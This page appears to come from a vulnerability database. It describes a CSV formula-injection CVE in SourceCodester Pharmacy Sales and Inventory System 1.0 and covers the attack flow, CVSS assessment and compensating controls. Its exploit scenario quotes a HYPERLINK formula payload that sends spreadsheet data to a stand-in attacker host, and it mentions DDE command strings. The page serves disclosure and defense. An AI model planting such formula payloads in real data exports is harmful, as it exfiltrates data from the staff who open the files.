Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to application with high-privilege credentials
-
DeliveryNavigate to Supplier Creation Interface
-
ExploitInject formula payload into Address or Company Name field
-
InstallSave malicious supplier record
-
C2Victim exports supplier list via /Export_csv/export
-
ExecuteVictim opens CSV in Excel or LibreOffice
-
ImpactFormula executes on victim workstation
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
|
| Exploitation Conditions | Exploitation requires the attacker to hold a high-privilege account (PR:H per CVSS vector) on the SourceCodester Pharmacy Sales and Inventory System - the attacker cannot exploit this unauthenticated or with low-privilege credentials. The Supplier Creation Interface must be accessible and the attacker must be permitted to create or modify supplier records. A secondary victim condition must also be met: a separate user (or the attacker themselves under a social engineering scenario) must export the supplier list via the /Export_csv/export endpoint and open the resulting file in a spreadsheet application that evaluates formula content (e.g., Microsoft Excel, LibreOffice Calc, Google Sheets in certain configurations). Exploitation is limited by: (1) the PR:H requirement blocking unprivileged or external attackers; (2) the client-side nature of the payload, which requires a human action to trigger; (3) spreadsheet applications with Protected View enabled will display a warning before executing formulas, providing a partial mitigation on the victim's workstation. |
| Impact | The CVSS base score of 4.7 (Medium) is consistent with the actual risk profile. The most significant limiting factor is PR:H (High Privileges Required), meaning the attacker must already hold an elevated account within the application - substantially reducing the exposed attack surface compared to unauthenticated vulnerabilities. The CVSS temporal component E:P confirms a proof-of-concept exploit has been publicly disclosed, and RL:X (Remediation Level Unknown) indicates no confirmed patch status at time of scoring. The RC:R (Reasonable Confidence) reflects that the report has not yet been independently verified by the vendor. Impact is constrained to C:L/I:L/A:L with an Unchanged scope, meaning the server itself is not directly compromised. Real-world harm depends on: (1) a privileged attacker crafting a malicious supplier record, and (2) a separate victim user exporting and opening the CSV in a vulnerable spreadsheet client. This two-step dependency lowers practical exploitation probability despite POC availability. No EPSS score was provided in source data; risk should be treated as low-to-moderate given the PR:H gate. |
| Exploit ScenarioDerived | A high-privileged attacker with valid application credentials navigates to the Supplier Creation Interface and creates or edits a supplier record, injecting a payload such as '=HYPERLINK("http://attacker.com/?data="&A1,"Click")' or a DDE command string into the Company Name or Address field. A staff member later exports the supplier list via the /Export_csv/export endpoint and opens the resulting file in Microsoft Excel, which interprets the injected formula and either exfiltrates local data to an attacker-controlled server or prompts execution of a system command. A publicly available proof-of-concept demonstrating this technique exists at https://github.com/timeflies123/cve/issues/6. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 01, 2026
CSV injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows high-privileged remote attackers to embed malicious spreadsheet formula payloads via the Address and Company Name fields in the Supplier Creation Interface, which are then written unsanitized to exported CSV files. When downstream staff open the exported file in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, the injected formulas execute in that client application's context, enabling information disclosure, data manipulation, or further client-side exploitation. A publicly available proof-of-concept exists (GitHub), though no active exploitation has been confirmed and this CVE is not listed in the CISA KEV catalog.
RemediationAI
No vendor-released patch has been identified at time of analysis - the remediation level in the CVSS temporal vector is listed as Unknown (RL:X), and no patched version is referenced in any available advisory. Organizations running this software should apply the following compensating controls: (1) Sanitize user input at the point of entry by stripping or rejecting leading formula trigger characters (=, +, -, @) from the Address and Company Name fields in the Supplier Creation Interface - note this may reject some legitimate address formats starting with '+' country codes and should be communicated to users. (2) Implement server-side CSV output encoding by prefixing all cell values with a tab character or wrapping them in double quotes to prevent formula interpretation - this is the recommended OWASP defense and has no functional side effects on data fidelity. (3) Restrict access to the CSV export feature (/Export_csv/export) to the minimum necessary personnel, reducing the pool of potential victims who might open a maliciously crafted export. (4) Educate users to open exported CSV files in protected view or to use text-based viewers when handling untrusted exports. VulDB tracking is available at https://vuldb.com/vuln/367526.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) describes a class of injection vulnerabilities where user-supplied input containing spreadsheet formula trigger characters - typically leading '=', '+', '-', or '@' - is written into CSV output without sanitization or proper quoting. In this case, the vulnerable sink is the create_supplier function within the /Export_csv/export endpoint of the Supplier Creation Interface. The CPE string (cpe:2.3:a:sourcecodester:pharmacy_sales_and_inventory_system:*:*:*:*:*:*:*:*) confirms the affected software is SourceCodester's PHP-based Pharmacy Sales and Inventory System through version 1.0. The attack is not server-side code execution - it is a client-side formula injection that activates when a human operator exports and opens the CSV in a spreadsheet application, which then interprets attacker-controlled content as executable formula logic.
Know when Pharmacy Sales And Inventory System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System up to 1.0. This issue affects the function create_supplier of the file /Export_csv/export of the component Supplier Creation Interface. This manipulation of the argument Address/Company Name causes csv injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Pharmacy Sales And Inventory System v1.0 is vulnerable to SQL Injection via /pharmacy-sales-and-inventory-system/manage_
Unauthenticated remote information disclosure in SourceCodester Pharmacy Sales and Inventory System 1.0 allows network-b
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 exposes the `/ajax.php?action=save_product` endp
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows unauthenticated remote attackers to extra
EUVD-2026-33623
GHSA-hpq4-4cqf-mcg8
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB